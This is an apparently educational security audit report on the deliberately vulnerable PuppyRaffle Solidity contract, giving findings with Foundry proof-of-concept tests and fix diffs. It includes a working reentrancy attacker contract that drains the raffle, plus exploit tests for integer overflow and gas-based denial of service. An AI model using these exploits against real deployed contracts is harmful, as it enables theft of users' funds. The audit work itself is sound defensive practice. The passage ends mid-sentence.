Protocol Audit Report

Version 1.0

Vermont Phil Paguiligan

December 28, 2023

Protocol Audit Report

Vermont Phil Paguiligan

December 28, 2023

Prepared by: Vermont Phil Paguiligan

Lead Security Researcher:

- Vermont Phil Paguiligan

Table of Contents

    * [H-3] Relying on `players` length to compute `totalAmountCollected` in the `PuppyRaffle::selectWinner` function results in incorrect prize computation and using `players` length to count the participants leads to an inaccurate count
    * [H-4] Integer overflow of `PuppyRaffle::totalFees` loses fees
- Medium
    * [M-1] Looping through unbounded players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for succeeding entrants
    * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
    * [M-3] Unsafe cast of `PuppyRaffle::feee` loses fees
    * [M-4] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest
- Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` function returns `0` for non-existent players making the player at index of 0 incorrectly think they have not entered the raffle
- Gas
    * [G-1] Unchanged state should be declared constant or immutable
    * [G-2] Storage variable in a loop should be cached
- Informational / Non-Crits
    * [I-1] Floating pragmas
    * [I-2] Magic Numbers
    * [I-3] Test Coverage
    * [I-4] Zero address validation
    * [I-5] _isActivePlayer is never used and should be removed
    * [I-6] Unchanged variables should be constant or immutable
    * [I-7] Potentially erroneous active player index
    * [I-8] Zero address may be erroneously considered an active player

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The Protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] players`: a list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed.
3. Users are allowed to get refund of their ticket and `value` if they call the `refund` function.
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy.
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Vermont Phil Paguiligan makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this codebase. Patrick Collins is such a wizard at writing intentionally bad code. I was able to find some vulnerabilities also aside from the example findings. I need more experience auditing and hopefully be onboarded with smart contract security research.

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	1
Info	8
Gas	2
Total	19

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` function, causing the smart contract balance to be drained by a malicious user

Description: The `PuppyRaffle::refund` function doesn't follow CEI (Checks, Effects, Interactions) and as a result, the user would be able to drain the funds of smart contract.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    /// @param playerIndex the index of the player to refund. You can
        find it externally by calling `getActivePlayerIndex`
    /// @dev This function will allow there to be blank spots in the
        array
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with or `receive` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Code

Place the following into the `PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public {
        uint256 attackerIndex = 4;
        ReentrancyAttacker attacker = new ReentrancyAttacker(
           puppyRaffle, entranceFee, attackerIndex);

        uint256 numberOfPlayers = 5;
        address[] memory players = new address[](numberOfPlayers);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        players[attackerIndex] = address(attacker);
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(players);

        uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
        uint256 startingAttackerContractBalance = address(attacker).balance;

        attacker.attack();

        uint256 endingPuppyRaffleBalance = address(puppyRaffle).balance;
        uint256 endingAttackerContractBalance = address(attacker).balance;

        // PuppyRaffle balance drained
        console.log("starting PuppyRaffle balance:", startingPuppyRaffleBalance);
        console.log("ending PuppyRaffle balance:", endingPuppyRaffleBalance);
        assertEq(endingPuppyRaffleBalance, 0);

        // All of PuppyRaffle balance transfered to Attacker Contract
        console.log("starting attacker contract balance:", startingAttackerContractBalance);
        console.log("ending attacker contract balance:", endingAttackerContractBalance);
        assertEq(endingAttackerContractBalance, startingAttackerContractBalance + startingPuppyRaffleBalance);
    }
```

And this contract as well

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle, uint256 _entranceFee, uint256 _attackerIndex) {
            puppyRaffle = _puppyRaffle;
            entranceFee = _entranceFee;
            attackerIndex = _attackerIndex;
        }

        function attack() external {
            puppyRaffle.refund(attackerIndex);
        }

        receive() external payable {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well, as this could cause another type of reentrancy.

```
    /// @param playerIndex the index of the player to refund. You can
       find it externally by calling `getActivePlayerIndex`
    /// @dev This function will allow there to be blank spots in the
       array
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` function for selecting the winner allows the user influence or predict the winner and influence or predict winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.dificulty` together creates a predictable final number. A predictable number is not a random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

note: This additionally means users could frontrun this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced by prevrandao.

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random generator such as Chainlink VRF.

[H-3] Relying on `players` length to compute `totalAmountCollected` in the `PuppyRaffle::selectWinner` function results in incorrect prize computation and using `players` length to count the participants leads to an inaccurate count

Description: A user calls `PuppyRaffle::selectWinner` function to pick the winner among the participants, the function then sends the prize to the winner which is computed as `uint256 prizePool = (totalAmountCollected * 80)/ 100` and the `totalAmountCollected` is taken from the formula `uint256 totalAmountCollected = players.length * entranceFee`. The problem is, `players.length` doesn't really return an actual number of active users.

When a player calls `PuppyRaffle::refund` to withdraw their money from the contract, it doesn't alter the length of the `players` array. Instead, it merely replaces the player's address with `address(0)`. This leads to an erroneous computation of `totalAmountCollected` within the `PuppyRaffle::selectWinner` function, resulting in an overestimation than the actual total amount collected or the contract balance.

If, for example, 4 players enter the raffle and 1 of them calls `PuppyRaffle::refund`, the `players.length` still returns 4. Consequently, the computation of `totalAmountCollected` becomes inaccurate since the raffle contract's balance has already been reduced, while the number of active players has not.

Refer to this computation:

```
    // Assuming entranceFee = 100 USD, and 4 players entered
    raffleBalance = entranceFee * newPlayers.length
    raffleBalance = 100 USD * 4
    raffleBalance = 400 USD

    // 1 player calls `PuppyRaffle::refund` function
    raffleBalance = 400 USD - 100 USD
    raffleBalance = 300 USD

    // players.length still equals 4 based on `PuppyRaffle::refund`
       function

    // From `PuppyRaffle::selectWinner` function:
    totalAmountCollected = players.length * entranceFee;
    totalAmountCollected = 4 * 100 USD;
    totalAmountCollected = 400 USD;

    prizePool = (totalAmountCollected * 80) / 100;
    prizePool = (400 USD * 80) / 100;
    prizePool = 320 USD;

    // Both the `prizePool` and `totalAmountCollected` being greater
       than the
    // `raffleBalance` indicates an error in the computation

    // Attempting to send the `prizePool` to the `winner` will revert
       since the
    // `raffleBalance` is only 300 USD which is short of 20 USD from
       the `prizePool`
    (bool success,) = winner.call{value: prizePool}("");
```

Additionally, if 4 players entered the raffle and 3 of them call `PuppyRaffle::refund` function, they can still trigger the ‘PuppyRaffle::selectWinner’ function, even with only 1 active player remaining in the raffle, thereby bypassing the requirement `players.length >= 4`.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
@>      require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
@>      uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Impact: If participants exit the raffle or refund their money, it leads to erroneous prize computation and an inaccurate count of participants

Proof of Concept:

Code

Place the following into the `PuppyRaffle.sol` for testing purposes

```
    function playersLength() external view returns (uint256) {
        return players.length;
    }
```

And add this function to `PuppyRaffleTest.t.sol`

```solidity
    function test_unreliablePlayersLength() public {
        uint256 numberOfPlayers = 4;
        address[] memory _players = new address[](numberOfPlayers);
        _players[0] = playerOne;
        _players[1] = playerTwo;
        _players[2] = playerThree;
        _players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
            _players);

        // player 4 refunds their money
        vm.prank(playerFour);
        puppyRaffle.refund(3);

        // based on updated `players.length` of `PuppyRaffle` contract
        uint256 playersLength = puppyRaffle.playersLength();
        // this value is affected by incorrect player count from `
            players.length`
        uint256 totalAmountCollected = playersLength * entranceFee;
        // this value is also affected
        uint256 prizePool = (totalAmountCollected * 80) / 100;

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        assert(totalAmountCollected > address(puppyRaffle).balance);
        assert(prizePool > address(puppyRaffle).balance);
        vm.expectRevert("PuppyRaffle: Failed to send prize pool to
            winner");
        puppyRaffle.selectWinner();
    }
```

Recommended Mitigation: There are few recommendations:

Option 1: When calling `PuppyRaffle::refund` function, reduce the size of elements within the players array.

Code

```solidity
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);
```

```diff

-        players[playerIndex] = address(0);
+        uint256 playersLength = players.length;
+        if (playersLength <= 1) {
+            delete players;
+        }
+        else {
+            players[playerIndex] = players[playersLength - 1];
+            players.pop();
+        }
         emit RaffleRefunded(playerAddress);
     }
```

Option 2: Add a state variable for active players count, increasing or decreasing it as players enter or leave the raffle.

Code

```diff
     address[] public players;
+    uint256 public activePlayersCount;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            activePlayersCount++;
         }
     .
     .
     .
     function refund(uint256 playerIndex) public {
+        activePlayersCount--;
     .
     .
     .
     function selectWinner() external {
         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
-        require(players.length >= 4, "PuppyRaffle: Need at least 4
    players");
+        require(activePlayersCount >= 4, "PuppyRaffle: Need at least 4
    players");

         uint256 winnerIndex =
             uint256(keccak256(abi.encodePacked(msg.sender, block.
                 timestamp, block.difficulty))) % players.length;
         address winner = players[winnerIndex];

```

```
-        uint256 totalAmountCollected = players.length * entranceFee;
+        uint256 totalAmountCollected = activePlayersCount * entranceFee
    ;
```

[H-4] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max; // 18446744073709551615
    myVar = myVar + 1; // myVar will be 0
```

Impact: In `PuppyRaffle::enterRaffle`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be: `javascript totalFees = totalFees + uint64(fee); //aka totalFees = 800_000_000_000_000_000 + 17_800_000_000_000_000_000; // and this will overflow! totalFees = 153_255_926_290_448_384;` 4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`: `javascript require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");`

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_totalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees: %s or ~%s ETH", endingTotalFees
            , endingTotalFees / 1 ether);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version `0.7.6` of solidity. However, you would still have a hard time with `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through unbounded players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for succeeding entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players who enter later will be dramatically higher than those who enter right when the raffle starts. Every additional address in the `players` array, is an additional check the loop will have to make causing the gas cost to get higher.

```
    // @audit DoS Attack
@>  for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An atacker might make `PuppyRaffle::players` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 3 sets of 100 players enter, the gas cost will be as such: - 1st 100 players transaction: ~6287336 gas - 2nd 100 players transaction: ~18083201 gas - 3rd 100 players transaction: ~37797791 gas

The 2nd transaction is ~2.87x more expensive than 1st transaction and 3rd transaction is ~6x more expensive than first transaction.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_DOSAttackOnEnterRaffle() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        uint256 startingIndex1 = 100;

        uint256 gasStartA = gasleft();
        address[] memory playersBatch1 = new address[](playersNum);
        for (uint i = 0; i < playersNum; i++) {
            playersBatch1[i] = address(uint160(i + startingIndex1));
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersBatch1);
        uint256 gasCostA = gasStartA - gasleft();

        uint256 startingIndex2 = playersNum + startingIndex1;
        uint256 gasStartB = gasleft();
        address[] memory playersBatch2 = new address[](playersNum);
        for (uint i = 0; i < playersNum; i++) {
            playersBatch2[i] = address(uint160(i + startingIndex2));
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersBatch2);
        uint256 gasCostB = gasStartB - gasleft();

        uint256 startingIndex3 = playersNum + startingIndex2;
        uint256 gasStartC = gasleft();
        address[] memory playersBatch3 = new address[](playersNum);
        for (uint i = 0; i < playersNum; i++) {
            playersBatch3[i] = address(uint160(i + startingIndex3));
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersBatch3);
        uint256 gasCostC = gasStartC - gasleft();

        console.log("Gas cost A: %s", gasCostA);
        console.log("Gas cost B: %s", gasCostB);
        console.log("Gas cost C: %s", gasCostC);
        console.log("2nd tx has approx. %s.%sx more expensive than 1st tx", gasCostB / gasCostA, _computeDecimalValue(gasCostB, gasCostA));
        console.log("3rd tx has approx. %s.%sx more expensive than 1st tx", gasCostC / gasCostA, _computeDecimalValue(gasCostC, gasCostA));

        assert(gasCostC > gasCostB);
        assert(gasCostB > gasCostA);
    }

    function _computeDecimalValue(uint256 num0, uint256 num1) private pure returns (uint256) {
        uint256 decimalValue = (num0 * 100 / num1) - (num0 / num1 * 100);
        if (decimalValue < 10) { return 0; }
        return decimalValue;
    }
```

Recommended Mitigation: There are few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate

check doesn't prevent the same person from entering multiple times, only the same wallet address.

2. Consider using mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```diff
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 1; // start with 1 because the default value in mapping is 0
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
+            // Check for duplicates
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+            addressToRaffleId[newPlayers[i]] = raffleId;
             players.push(newPlayers[i]);
         }

-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
         emit RaffleEnter(newPlayers);
     }
     .
     .
     .
     function selectWinner() external {
+        raffleId++;
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` `fallback` or `receive` function, you'd think this wouldn't be possible, but a user could selfdestruct a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in its balance, and 800 totalFees.
2. Malicious user sends 1 wei via a selfdestruct.
3. `feeAddress` is no longer able to withdraw funds.

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::feee` loses fees

Description: In `PuppyRaffle::selectWinner`, there is a type cast of a `uint256` to `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
@>      totalFees = totalFees + uint64(fee);
        uint256 tokenId = totalSupply();
```

The max value of `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18 ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means that the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: 1. We conclude a raffle of 95 players 2. `totalFees` will be: `javascript totalFees = totalFees + uint64(fee); = 0 + uint64(19_000_000_000_000_000_000); //this will overflow! = 0 + 553_255_926_290_448_384; totalFees = 553_255_926_290_448_384;`

Code

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_unsafeCastOverflow() public {
        uint256 playersNum = 95;
        uint256 startingIndex = 100;

        address[] memory players = new address[](playersNum);
        for (uint i = 0; i < playersNum; i++) {
            players[i] = address(uint160(i + startingIndex));
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        // next 2 lines taken from PuppyRaffle::selectWinner function
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 fee = (totalAmountCollected * 20) / 100;

        // in this code snippet from PuppyRaffle::selectWinner function
            :
        // totalFees = totalFees + uint64(fee);
        // `fee` integer being type casted to `uint64`` introduces an
            overflow which resets the value
        // to 0 after reaching its maximum which is
            18,446,744,073,709,551,615 wei or 18 ether
        uint64 totalFeesOverFlow = puppyRaffle.totalFees();
        uint256 expectedTotalFees = fee;

        console.log("maximum uint64 value: ~%s ETH", type(uint64).max /
            1 ether);
        console.log("expected total fees: ~%s ETH", expectedTotalFees /
            1 ether);
        console.log("total fees (overflow): ~%s ETH", totalFeesOverFlow
            / 1 ether);

        assert(totalFeesOverFlow < expectedTotalFees);

        // We are also unable to withdraw any fees because of this
           require check:
        // require(address(this).balance == uint256(totalFees), "
           PuppyRaffle: There are currently players active!");
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of `uint64`, and remove the casting. There is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
    .
    .
    .
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery not be able to restart.

Users could easily call the `PuppyRaffle::selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `PuppyRaffle::selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are few options to mitigate this issue.

1. Do not allow smart contract entrants (not recommended).
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize (Recommended).

> Pull over Push pattern

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` function returns 0 for non-existent players making the player at index of 0 incorrectly think they have not entered the raffle

Description If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array. This causes a confusion to the player at index 0 whether they have entered or not.

```
    /// @return the index of the player in the array, if they are not
       active, it returns 0
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
```

```
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
@>      return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. User calling `PuppyRaffle::getActivePlayerIndex` function returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playerLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playerLength - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playerLength; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
```

```
        }
    }
```

Informational / Non-Critical

[I-1] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

https://swcregistry.io/docs/SWC-103/

Recommended Mitigation: Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                               | % Lines        | % Statements   | % Branches     | % Funcs       |
| ---------------------------------- | -------------- | -------------- | -------------- | ------------- |
| script/DeployPuppyRaffle.sol       | 0.00% (0/3)    | 0.00% (0/4)    | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                | 82.46% (47/57) | 83.75% (67/80) | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7)  | 100.00% (8/8)  | 50.00% (1/2)   | 100.00% (2/2) |
| Total                              | 80.60% (54/67) | 81.52% (75/92) | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-4] Zero address validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/PuppyRaffle.sol#57) lacks a zero-check on :
